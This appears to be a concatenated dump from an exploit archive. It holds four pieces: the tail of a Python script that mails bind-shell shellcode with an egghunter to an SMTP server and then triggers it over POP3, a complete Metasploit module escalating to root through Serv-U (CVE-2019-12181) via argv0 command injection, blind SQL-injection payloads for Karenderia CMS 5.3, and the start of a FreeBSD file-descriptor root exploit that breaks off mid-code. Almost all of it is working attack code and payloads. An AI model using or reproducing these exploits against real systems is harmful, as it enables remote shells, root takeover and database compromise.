    englishmansdentist+="9NUMqSjpqZ+4Jyl4kaozgSY3hg1/VhQin03QA5Xl89oR2liIwevMzTVnPgN+HUiC" + "\r\n"
    englishmansdentist+="lqkyy4TzKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXh" + "\r\n"
    englishmansdentist+="yDDF0wxCe5KPlpG4tN4mHAfeFv6l5uMCuhAgo+CVQRjrOvNN8bOisPs5KdpeMbV0" + "\r\n"
    englishmansdentist+="8geUh0w/88UxsGiePh9B4zz4YOTok7eNro4amjvViFlA2ZAYcVgHovOIoxFa8cEg" + "\r\n"
    englishmansdentist+="ZpfW8CgAAAAAAAMVAKEAZAEAUFBOVAARAE1Idavk1As8FSb0iFZM+ql19hkVcZpU" + "\r\n"
    englishmansdentist+="I4oxDztIV04tIWz8gSPktEI6UhUOmHky6dgGIr02ATXYkr7UaL5bl0yLgqI0IZW/" + "\r\n"
    englishmansdentist+="Z0fvKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVLGfVR" + "\r\n"
    englishmansdentist+="dMrwPOh+sEpPRmNBxvZh98+Rtbq1GShdB1R4lQ6ALNzrHZBkUu5bT1KUrPJ0gKIZ" + "\r\n"
    englishmansdentist+="btJmCKkL3XkMxOwlAaRd7Gm0bI5pLhS1lQT+WI4lWnGT6UmYIXJa8fxxrMPnZhse" + "\r\n"
    englishmansdentist+="8SgAAAAAAAMVAKEAZAEAUFBOVAARAE1IXHIsGGHlIuQZ0Nc98ZHIfgu69PHdNhaW" + "\r\n"
    englishmansdentist+="qyGn47o7VcjkQFagkEQ1E4JGnLSl95aERjDo1dLM8vyUorc7ihJqHcgJXxV+BmI6" + "\r\n"
    englishmansdentist+="KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWUktpUe1BPV" + "\r\n"
    englishmansdentist+="kF47i1MUNkGG28eYyZ1uIgp1xJ2h0WQqHPN5+hfTIwJ4F9gqvt/vrVZMcPXXWVSn" + "\r\n"
    englishmansdentist+="RQF2WMFjL3RFkPHljiDw9dnUDvq2ngxWXFqBYfdOU49UKCK1PCawjAdFhl258igA" + "\r\n"
    englishmansdentist+="AAAAAAMVAKEAZAEAUFBOVAARAE1IXdX+GKzjGyPdG75OHuhP/DiB1ntS1ckXPsQu" + "\r\n"
    englishmansdentist+="evqsShJZpM5fWW+QL1Y80a5emh8M8XvkzoivjKH5yXeHUNqAXgjDfKU7ykpSKAAA" + "\r\n"
    englishmansdentist+="AAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXgE9/BhpUdh4lq" + "\r\n"
    englishmansdentist+="hCaGxeN4yarq1ICRvqWCHYqmWhofRovIp5Wp3HUhLvfpI6RHlH9I1n7UdlypQRQi" + "\r\n"
    englishmansdentist+="4eZohsoXfxZMA4N/Q9I1YbYt6V9W2zhEhcW8zMnIJMvStsBG9hAVNVWn8ygAAAAA" + "\r\n"
    englishmansdentist+="AAMVAKEAZAEAUFBOVAARAE1IeJGD2iNg6XMERL4EgnW9qJJ5lSJJnxYmZZMtw8nq" + "\r\n"
    englishmansdentist+="uOiSMSC/njv180s5Uq07clJHzgVoeD+lzRb7r+UURoHN+ISE6VR4wKpqKAAAAAAA" + "\r\n"
    englishmansdentist+="LGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWW4gnncncrMNvwbhD/q" + "\r\n"
    englishmansdentist+="coEo2uqBJ1jQXc2rt5esqEhLZfRyhtsMlynOTmkbM1kdJsj3k0Jm8zSPJg39yC1S" + "\r\n"
    englishmansdentist+="r3cuTVu0PA94xTaYqDpXvkkOMfgHV4s8jvaFUJkHerpcPuK1oCfW9CgAAAAAAAMV" + "\r\n"
    englishmansdentist+="AKEAZAEAUFBOVAARAE1IXJVmVFyf4Pd2JAFbI6jUknNMjz3MzcGDVD4VYc6p483L" + "\r\n"
    englishmansdentist+="oD7bvhP0qQdZJAtp4r3CDGK6ZHrkUIK1yNhW2ePfimDQ4EuR1UFHKAAAAAAALGQA" + "\r\n"
    englishmansdentist+="lgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWUdKgrNZir0qZhNRdn+OfL1" + "\r\n"
    englishmansdentist+="ov3ML8fH9r1G5k/gTL9384lVqvpZ+Eoc2hFhRKYj1KYDYaImLNPmZcws7qoPtDQe" + "\r\n"
    englishmansdentist+="TyVmrC7TcTi3OakTZQ0BpOQFajtGjlzAdG6Re5yc/XSNbQrH9SgAAAAAAAMVAKEA" + "\r\n"
    englishmansdentist+="ZAEAUFBOVAARAE1IdUYJYz7aI3rSXnFFg3ijOPmK51jYB2zpamg/9pKHwfdp4JdN" + "\r\n"
    englishmansdentist+="ppM4fTeRCSo93zSr1lwFAsjXIF6NEk3o0lUst+pAjOdMhbjdKAAAAAAALGQAlgAG" + "\r\n"
    englishmansdentist+="c3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWV6IYw8md9n8BGiF883R7ACx5lh" + "\r\n"
    englishmansdentist+="1etCRj2GCTx2t13kMDKTq6lPpfEohgdkLTxFkMR9CqORoEB5jmbk4XqWUF3Dl3UC" + "\r\n"
    englishmansdentist+="6THo8Tu6OCC7HE2TZr9zHTjdyJd9a4eqwr8cLb6TXAu+9igAAAAAAAMVAKEAZAEA" + "\r\n"
    englishmansdentist+="UFBOVAARAE1IQefr197sZXM+W/pjRe/BLbnf2pgWrZ5mMgLFBKzlMy6mac16xuI4" + "\r\n"
    englishmansdentist+="izn5bg5uoG8ZcA7gQYsYuMIVzQhFF7fFiLS67GDu5X6FKAAAAAAALGQAlgAGc3lz" + "\r\n"
    englishmansdentist+="dGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXGPPlyQq3o9GZmtZielNF8tdYv869/" + "\r\n"
    englishmansdentist+="AmbjsQWTf8AOK8izGW5wTNn7JoLJjc30s4KJ+OhX+u/+pdKtPedDTZ2NSIelpFKw" + "\r\n"
    englishmansdentist+="17Bmh/bTNhcKCjOYS20iyMxvSpMe8LJrzwl6XOp/9ygAAAAAAAMVAKEAZAEAUFBO" + "\r\n"
    englishmansdentist+="VAARAE1I5B5e2wMdfOmi2W2QdZ/PCvnOVTM90qAV6AEyPbhjlzLP3dCWAXUEFYMq" + "\r\n"
    englishmansdentist+="WdtBglnA/M51qb9jI3is+jMWhVO+t2VEfDmKSZ9eKAAAAAAALGQAlgAGc3lzdGVt" + "\r\n"
    englishmansdentist+="KAAAAAAAAxUAoQBkAQBQUE5UABEATWXz/Tf7qEIx9FCg6NEav2UQaVUtwItv5NGa" + "\r\n"
    englishmansdentist+="p5Vq99/GnrZOT0XwXQzIwB1b9KrvmpA6C2S8nn7rDg9nNhHE/l1xMR7dVH3iBTC9" + "\r\n"
    englishmansdentist+="LFugCYRSfNQnAcm10Ci8C+5kZpP9qDl4ev0Q+CgAAAAAAAMVAKEAZAEAUFBOVAAR" + "\r\n"
    englishmansdentist+="AE1I2mie3Ga6YKzrko0cpLcV7/ZATPd/sQviM7JcJkVztaXACMZQerzLPDS0r4G1" + "\r\n"
    englishmansdentist+="0pqCrSh5pAIm+02Wf44q9yrxjBFlytFqNOWxKAAAAAAALGQAlgAGc3lzdGVtKAAA" + "\r\n"
    englishmansdentist+="AAAAAxUAoQBkAQBQUE5UABEATWXqF4aEvJh3HUd3Nm3Rzvet2k/FBpm6jIDNrmxt" + "\r\n"
    englishmansdentist+="RSHcwT9kRMcaM2+dY5lxw9k0oFpGluM631ZBiSqYyfvJk8liitKJsc3KODDBiYPh" + "\r\n"
    englishmansdentist+="o+iC7EJNQBUhLrXydl9tHVygrdJMI1p0+SgAAAAAAAMVAKEAZAEAUFBOVAARAE1I" + "\r\n"
    englishmansdentist+="i55tR0/EK81shBJNY/eSrF57eFU3xE82A2Numy+YJgqj6IqaG1iLThKpqaNrnffb" + "\r\n"
    englishmansdentist+="QoQBjA8YxnR4Bd2MAwW8LxjzBC9i0Dr5KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAA" + "\r\n"
    englishmansdentist+="AxUAoQBkAQBQUE5UABEATWUbAY9lONL9Sh+Sqr3OLJbRE6+1vb25Xm+LDSJKiEYp" + "\r\n"
    englishmansdentist+="K7c97E3ZsZRi6vq8Wmxd7A7VmJCOg5quHEyLIoEXW7gBvxbXXobdFFpPGWYTB45a" + "\r\n"
    englishmansdentist+="q3L++6SbC7tNUc4prLw3sGmyTU3m+igAAAAAAAMVAKEAZAEAUFBOVAARAE1IlH49" + "\r\n"
    englishmansdentist+="LIxOuujhMNn5Nilk83X5+uA2QD3wW4lCGLapMXqPSTqfmAa7InAzzhUgYSSyqttJ" + "\r\n"
    englishmansdentist+="hkFNU7HtjP6EnQNM8yF0nEEPtE1LKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUA" + "\r\n"
    englishmansdentist+="oQBkAQBQUE5UABEATWVHFAbVz/14YPuy66hgbEKmpvvq890sVncdxVpkLdQ9OiPX" + "\r\n"
    englishmansdentist+="r+SVXY7DVAKNhCcgz8bQJ2txlQnpb4GF1ijd6UIM6wtps2Thcey91kcY1emiVezX" + "\r\n"
    englishmansdentist+="TsyPgoqRc4fabbKA+CmxwDZ1+ygAAAAAAAMVAKEAZAEAUFBOVAARAE1I1P0bNXjL" + "\r\n"
    englishmansdentist+="lCxRX1HbmmzMpDuKpNc8J5fj5izoO6mXfCsvJGs93PxXUicXUiqjvoRZqhyNiFJD" + "\r\n"
    englishmansdentist+="pgJbhIE8MrMXmVjOLOh6D+DjKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBk" + "\r\n"
    englishmansdentist+="AQBQUE5UABEATWWLqwdc+zx8F6Q1gCxTRgoBmTEXaNC+OlLohgpq/jTkA17IutK+" + "\r\n"
    englishmansdentist+="0yTPit6gmwIoJebP2OVGN+2MqhvYnjtEH4CTJB2eOi36Uz1wLvnrS1zNgN01GKA4" + "\r\n"
    englishmansdentist+="/hjA0VtrGUoOOEsJXdCA/CgAAAAAAAMVAKEAZAEAUFBOVAARAE1IsrZI5Qw6hIZF" + "\r\n"
    englishmansdentist+="50BkQfu4kNU2UHyZqNUKN8j2oOJLT9/hiqkRvSQWFSxYFuwk8b1yNV0Oi6VoMWJf" + "\r\n"
    englishmansdentist+="nxfWMa0F23OLh9GKFXeLKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQ" + "\r\n"
    englishmansdentist+="UE5UABEATWViul1AWOQK7KTKl2bPRrK0OGZQ8RpUwkFMT1kFJT5SJnaqhUpUo1zs" + "\r\n"
    englishmansdentist+="mFyWS6D3fOZleczIZhRHHHbz+03j2DxnHk1mwEAPaKi0ciA/Pj6WHKzEFe+Rzi/I" + "\r\n"
    englishmansdentist+="JCi4FMUqrxwxS0Qh/SgAAAAAAAMVAKEAZAEAUFBOVAARAE1I4AW/nrr7rBR+2ezE" + "\r\n"
    englishmansdentist+="/LEix7JsCeavFz2JdHURV7fTxK2ncuOSm20gXdyZXZp0OEx9l9lBZJt5oK48Dq12" + "\r\n"
    englishmansdentist+="3qX7drFNOpVtwcJ8KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5U" + "\r\n"
    englishmansdentist+="ABEATWV8VaScU9Rd/aYQN3GSj2FCGFC4HfkDYky7jhH5cH9NlivkaxL7koAC9g4r" + "\r\n"
    englishmansdentist+="hWomac+kmFE1hrLVzzU6m2AHr9acWTNBigT5SQ1J2EVmF4UFqypUdPIpC6JjKVz6" + "\r\n"
    englishmansdentist+="rMLo4UUkKZ7c/igAAAAAAAMVAKEAZAEAUFBOVAARAE1IIie1Zf6EmRq/jeztmfMT" + "\r\n"
    englishmansdentist+="06viejZUBTUPW0ddDE294y04sy0dKyUl9a6cPnuJ7gKaBp1yOhpUN/eubpg5RO5b" + "\r\n"
    englishmansdentist+="3UvIeQ982MOQKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAA/bs=" + "\r\n"


    #username = "r0ss1n1@r0ss1n1.com"
    #password = "F!R#W$LL"

    # bind shell port 373
    bind =  "w00tw00t"
    bind += "\xda\xc3\xd9\x74\x24\xf4\xba\xb2\xfa\x67\x2b\x5e\x33"
    bind += "\xc9\xb1\x78\x31\x56\x19\x03\x56\x19\x83\xc6\x04\x50"
    bind += "\x0f\x9b\xc2\x12\xf0\x64\x15\x47\x72\xa1\x1e\xf6\xb0"
    bind += "\x5a\xdf\x07\xc7\x16\x4b\xd3\x58\x7b\x1c\xaa\xd3\x10"
    bind += "\x6d\x33\x36\x6b\xc9\xef\xd9\x9f\x8e\xb1\x94\x18\x4f"
    bind += "\x1a\xf7\xe9\x54\xf7\xa4\x61\x6f\xf7\x4a\x7a\x3c\xa4"
    bind += "\x19\x2c\x91\x22\xe7\x1c\x2a\x34\xe8\x48\xd0\xf8\x63"
    bind += "\x26\xb1\xb8\x0b\x0f\x55\x6b\x5f\xa1\x8d\xd8\xa0\xf6"
    bind += "\x59\x70\xd9\x6b\xa6\x73\x33\xdf\xb1\xc3\xbd\xe0\x41"
    bind += "\x38\x88\xb0\xbe\x89\x9b\xf5\x99\x48\xbc\x09\xcc\xe1"
    bind += "\x10\xa5\x64\x49\xb3\xb5\x2a\x02\xe8\xba\xfa\xcc\xc8"
    bind += "\xe9\x9f\x75\x2a\x24\x76\xc4\xd5\xc7\x89\x2e\x4a\x38"
    bind += "\x76\x51\x07\xb2\xe7\xc9\x84\x50\xcb\x23\x55\x41\x5e"
    bind += "\xbc\xaa\x6e\x49\x84\xaa\x6e\x75\xf4\xbd\x13\x8a\x04"
    bind += "\x3e\x74\x02\xe1\x0f\xb4\x70\x62\x3f\x04\xf2\x26\xcc"
    bind += "\xef\x56\xd2\x47\x9d\x7e\xd5\xe0\x28\x59\xd8\xf1\x01"
    bind += "\x99\x7b\x72\x58\xce\x5b\x4b\x93\x03\x9a\x8c\xce\xee"
    bind += "\xce\x45\x84\x5d\xfe\xe2\xd0\x5d\x75\xb8\xf5\xe5\x6a"
    bind += "\x09\xf7\xc4\x3d\x01\xae\xc6\xbc\xc6\xda\x4e\xa6\x0b"
    bind += "\xe6\x19\x5d\xff\x9c\x9b\xb7\x31\x5c\x37\xf6\xfd\xaf"
    bind += "\x49\x3f\x39\x50\x3c\x49\x39\xed\x47\x8e\x43\x29\xcd"
    bind += "\x14\xe3\xba\x75\xf0\x15\x6e\xe3\x73\x19\xdb\x67\xdb"
    bind += "\x3e\xda\xa4\x50\x3a\x57\x4b\xb6\xca\x23\x68\x12\x96"
    bind += "\xf0\x11\x03\x72\x56\x2d\x53\xdd\x07\x8b\x18\xf0\x5c"
    bind += "\xa6\x43\x9d\x91\x8b\x7b\x5d\xbe\x9c\x08\x6f\x61\x37"
    bind += "\x86\xc3\xea\x91\x51\x23\xc1\x66\xcd\xda\xea\x96\xc4"
    bind += "\x18\xbe\xc6\x7e\x88\xbf\x8c\x7e\x35\x6a\x38\x76\x90"
    bind += "\xc5\x5f\x7b\x62\xb6\xdf\xd3\x0b\xdc\xef\x0c\x2b\xdf"
    bind += "\x25\x25\xc4\x22\xc6\x48\x60\xaa\x20\x20\x9a\xfa\xfb"
    bind += "\xdc\x58\xd9\x33\x7b\xa2\x0b\x6c\xeb\xeb\x5d\xab\x14"
    bind += "\xec\x4b\x9b\x82\x67\x98\x1f\xb3\x77\xb5\x37\xa4\xe0"
    bind += "\x43\xd6\x87\x91\x54\xf3\x7f\x31\xc6\x98\x7f\x3c\xfb"
    bind += "\x36\x28\x69\xcd\x4e\xbc\x87\x74\xf9\xa2\x55\xe0\xc2"
    bind += "\x66\x82\xd1\xcd\x67\x47\x6d\xea\x77\x91\x6e\xb6\x23"
    bind += "\x4d\x39\x60\x9d\x2b\x93\xc2\x77\xe2\x48\x8d\x1f\x73"
    bind += "\xa3\x0e\x59\x7c\xee\xf8\x85\xcd\x47\xbd\xba\xe2\x0f"
    bind += "\x49\xc3\x1e\xb0\xb6\x1e\x9b\xc0\xfc\x02\x8a\x48\x59"
    bind += "\xd7\x8e\x14\x5a\x02\xcc\x20\xd9\xa6\xad\xd6\xc1\xc3"
    bind += "\xa8\x93\x45\x38\xc1\x8c\x23\x3e\x76\xac\x61"

    hellosend = "ehlo" + "\x0d\x0a"

    userlogin = "USER " + username + "\r\n"
    passlogin = "PASS " + password + "\r\n"


    mailfrom = "mail from: " + fromaddr + "\r\n"
    mailto = "rcpt to: " + toaddr + "\r\n"

    maildata = "data" + "\r\n"

    crash ="From: <" + fromaddr + ">" + "\r\n"
    crash+="To: <" + toaddr + ">" + "\r\n"
    crash+="Subject: hi" + "\r\n"
    crash+="Date: Wed, 27 Feb 2008 15:47:31 -0500" + "\r\n"
    crash+="MIME-Version: 1.0" + "\r\n"
    crash+="Content-Type: multipart/mixed;" + "\r\n"
    crash+="\x09boundary=\"----=_NextPart_000_0003_01C87958.1024A8A0\"" + "\r\n"
    crash+="X-Priority: 3 (Normal)" + "\r\n"
    crash+="X-MSMail-Priority: Normal" + "\r\n"
    crash+="X-Mailer: Microsoft Outlook, Build 10.0.19201" + "\r\n"
    crash+="Importance: Normal" + "\r\n\r\n"
    crash+="This is a multi-part message in MIME format." + "\r\n\r\n"
    crash+="------=_NextPart_000_0003_01C87958.1024A8A0" + "\r\n"
    crash+="Content-Type: application/octet-stream;" + "\r\n"
    crash+="\x09name=\"egg.dat\"" + "\r\n"
    crash+="Content-Transfer-Encoding: 8bit" + "\r\n"
    crash+="Content-Disposition: attachment;" + "\r\n"
    crash+="\x09filename=\"egg.dat\"" + "\r\n\r\n"
    crash+=bind + "\xCC" * 500
    crash+="\r\n\r\n\r\n"
    crash+="------=_NextPart_000_0003_01C87958.1024A8A0" + "\r\n"
    crash+="Content-Type: application/ms-tnef;" + "\r\n"
    crash+="\x09name=\"winmail.dat\"" + "\r\n"
    crash+="Content-Transfer-Encoding: base64" + "\r\n"
    crash+="Content-Disposition: attachment;" + "\r\n"
    crash+="\x09filename=\"winmail.dat\"" + "\r\n\r\n"
    crash+=englishmansdentist
    crash+="\r\n\r\n\r\n"
    crash+="------=_NextPart_000_0003_01C87958.1024A8A0" + "\r\n"
    crash+="\r\n\r\n" + "." + "\r\n"
    q = "QUIT" + "\r\n"




    boom = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    boom.connect(('192.168.17.127', 25))
    time.sleep(2)
    boomresponse = boom.recv(1024)
    time.sleep(2)
    print(boomresponse)
    boom.send(hellosend)
    helloresponse = boom.recv(1024)
    time.sleep(2)
    print str(helloresponse)
    boom.send(mailfrom)
    time.sleep(2)
    toresponse = boom.recv(1024)
    print str(toresponse)
    boom.send(mailto)
    time.sleep(2)
    fromresponse = boom.recv(1024)
    print str(fromresponse)
    boom.send(maildata)
    time.sleep(2)
    dataresponse = boom.recv(1024)
    print str(dataresponse)
    boom.send(crash)
    time.sleep(6)
    crashresponse = boom.recv(1024)
    print str(crashresponse)
    time.sleep(2)
    boom.send(q)
    qresponse = boom.recv(1024)
    print str(qresponse)
    boom.close()

def trigger(username, password):
    trigger = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    trigger.connect(('192.168.17.127', 110))
    time.sleep(3)
    triggerresponse = trigger.recv(1024)
    print str(triggerresponse)
    triggeruser = "USER " + username + "\r\n"
    trigger.send(triggeruser)
    time.sleep(3)
    triggerresponseuser = trigger.recv(1024)
    print str(triggerresponseuser)
    triggerpass = "PASS " + password + "\r\n"
    trigger.send(triggerpass)
    time.sleep(3)
    triggerresponsepass = trigger.recv(1024)
    print str(triggerresponsepass)
    triggerlist = "LIST" + "\r\n"
    trigger.send(triggerlist)
    time.sleep(3)
    triggerresponselist = trigger.recv(1024)
    print str(triggerresponselist)
    triggertop = "TOP 1 0" + "\r\n"
    trigger.send(triggertop)
    time.sleep(3)
    triggerresponsetop = trigger.recv(1024)
    print str(triggerresponsetop)
    triggerdel = "DELE 1" + "\r\n"
    trigger.send(triggerdel)
    time.sleep(3)
    triggerresponsedele = trigger.recv(1024)
    print str(triggerresponsedele)
    triggerquit = "QUIT" + "\r\n\r\n"
    trigger.send(triggerquit)
    time.sleep(3)
    triggerresponsequit = trigger.recv(1024)
    print str(triggerresponsequit)
    trigger.close()
    return

sendpayload("user@domain.com", "password", "to@domain.com", "from@domain.com");
time.sleep(6)
print "after second +OK egghunter is triggered"
print "egghunter will search for tag, wait 40 seconds"
trigger("to@domain.com", "password");
time.sleep(40)
print "bind shell on port 373"
print "nc -nv [ip] 373"
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Serv-U FTP Server prepareinstallation Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on systems running
        Serv-U FTP Server versions prior to 15.1.7.

        The `Serv-U` executable is setuid `root`, and uses `ARGV[0]`
        in a call to `system()`, without validation, when invoked with
        the `-prepareinstallation` flag, resulting in command execution
        with root privileges.

        This module has been tested successfully on Serv-U FTP Server
        version 15.1.6 (x64) on Debian 9.6 (x64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Guy Levin', # @va_start - Discovery and exploit
          'bcoles'     # Metasploit
        ],
      'DisclosureDate' => '2019-06-05',
      'References'     =>
        [
          ['CVE', '2019-12181'],
          ['EDB', '47009'],
          ['PACKETSTORM', '153333'],
          ['URL', 'https://github.com/guywhataguy/CVE-2019-12181'],
          ['URL', 'https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181'],
          ['URL', 'https://blog.vastart.dev/2019/06/cve-2019-12181-serv-u-exploit-writeup.html'],
          ['URL', 'https://documentation.solarwinds.com/en/success_center/servu/Content/Release_Notes/Servu_15-1-7_release_notes.htm'],
          ['URL', 'https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-Potential-elevation-of-privileges-on-Linux-systems']
        ],
      'Platform'       => ['linux'],
      'Arch'           =>
        [
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Targets'        => [['Auto', {}]],
      'DefaultOptions' =>
        {
          'PrependSetresuid' => true,
          'PrependSetresgid' => true,
          'PrependFork'      => true,
          'WfsDelay'         => 30
        },
      'DefaultTarget'  => 0))
    register_options [
      OptString.new('SERVU_PATH', [true, 'Path to Serv-U executable', '/usr/local/Serv-U/Serv-U'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def servu_path
    datastore['SERVU_PATH']
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    chmod path
  end

  def check
    unless command_exists? 'bash'
      vprint_error 'bash shell is not available'
      return CheckCode::Safe
    end
    vprint_good 'bash shell is available'

    unless cmd_exec("test -x '#{servu_path}' && echo true").include? 'true'
      vprint_error "#{servu_path} is not executable"
      return CheckCode::Safe
    end
    vprint_good "#{servu_path} is executable"

    unless setuid? servu_path
      vprint_error "#{servu_path} is not setuid"
      return CheckCode::Safe
    end
    vprint_good "#{servu_path} is setuid"

    CheckCode::Detected
  end

  def exploit
    unless check == CheckCode::Detected
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    if nosuid? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
    end

    payload_name = ".#{rand_text_alphanumeric 10..15}"
    @payload_path = "#{base_dir}/#{payload_name}"
    upload_and_chmodx @payload_path, generate_payload_exe

    argv0 = %Q{\\";chown root #{@payload_path};chmod u+s #{@payload_path};chmod +x #{@payload_path}\\"}
    cmd = %Q{bash -c 'exec -a "#{argv0}" #{servu_path} -prepareinstallation'}
    vprint_status "Executing command: #{cmd}"
    cmd_exec cmd

    unless setuid? @payload_path
      fail_with Failure::Unknown, 'Failed to set payload setuid root'
    end
    print_good "#{@payload_path} setuid root successfully"

    print_status 'Executing payload...'
    res = cmd_exec "#{@payload_path} &"
    vprint_line res
  end

  def on_new_session(session)
    if session.type.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.fs.file.rm @payload_path
    else
      session.shell_command_token "rm -f '#{@payload_path}'"
    end
  ensure
    super
  end
end
            
===========================================================================================
# Exploit Title: Karenderia CMS 5.3 - Multiple SQL Vuln.
# Dork: N/A
# Date: 05-07-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: buyer2@codemywebapps.com
# Software Link: https://codecanyon.net/item/karenderia-multiple-restaurant-system/9118694
# Version: v5.3
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Karenderia Multiple Restaurant System is a
restaurant food ordering and restaurant membership system.
===========================================================================================
# POC - SQLi (Blind)
# Parameters : street-name
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f

# GET Method :
http://localhost/kmrs/searcharea?st=Los%20Angeles,%20CA,%20United%20States&street-name=1%20+%20((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A))/*'XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR'|
"XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR"*/
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: Karenderia CMS 5.3 - Multiple SQL Vuln.
# Dork: N/A
# Date: 05-07-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: buyer2@codemywebapps.com
# Software Link: https://codecanyon.net/item/karenderia-multiple-restaurant-system/9118694
# Version: v5.3
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Karenderia Multiple Restaurant System is a
restaurant food ordering and restaurant membership system.
===========================================================================================
# POC - SQLi (Blind)
# Parameters : category
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f
# GET Method :
http://localhost/kmrs/store/cuisine/?category=1%20+%20((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A))/*'XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR'|
"XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR"*/&page=2
===========================================================================================
            
#!/bin/sh

# Exploit script for FreeBSD-SA-19:02.fd
#
# Author: Karsten König of Secfault Security
# Contact: karsten@secfault-security.com
# Twitter: @gr4yf0x
# Kudos: Maik, greg and Dirk for discussion and inspiration
#
# libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper

echo "[+] Root Exploit for FreeBSD-SA-19:02.fd by Secfault Security"

umask 0000

if [ ! -f /etc/libmap.conf ]; then
    echo "[!] libmap.conf has to exist"
    exit
fi

cp /etc/libmap.conf ./

cat > heavy_cyber_weapon.c << EOF
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <pthread_np.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/cpuset.h>
#include <sys/event.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/un.h>

#define N_FDS 0xfe
#define N_OPEN 0x2

#define N 1000000
#define NUM_THREADS 400
#define NUM_FORKS 3
#define FILE_SIZE 1024
#define CHUNK_SIZE 1
#define N_FILES 25

#define SERVER_PATH "/tmp/sync_forks"
#define DEFAULT_PATH "/tmp/pwn"
#define HAMMER_PATH "/tmp/pwn2"
#define ATTACK_PATH "/etc/libmap.conf"

#define HOOK_LIB "libutil.so.9"
#define ATTACK_LIB "/tmp/libno_ex.so.1.0"

#define CORE_0 0
#define CORE_1 1

#define MAX_TRIES 500

struct thread_data {
    int fd;
    int fd2;
};

pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx;
pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond;

int send_recv(int fd, int sv[2], int n_fds) {
    int ret, i;
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmh;
    char cmsg[CMSG_SPACE(sizeof(int)*n_fds)];
    int *fds;    char buf[1];

    iov.iov_base = "a";
    iov.iov_len = 1;

    msg.msg_name = NULL;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = cmsg;
    msg.msg_controllen = CMSG_LEN(sizeof(int)*n_fds);
    msg.msg_flags = 0;

    cmh = CMSG_FIRSTHDR(&msg);
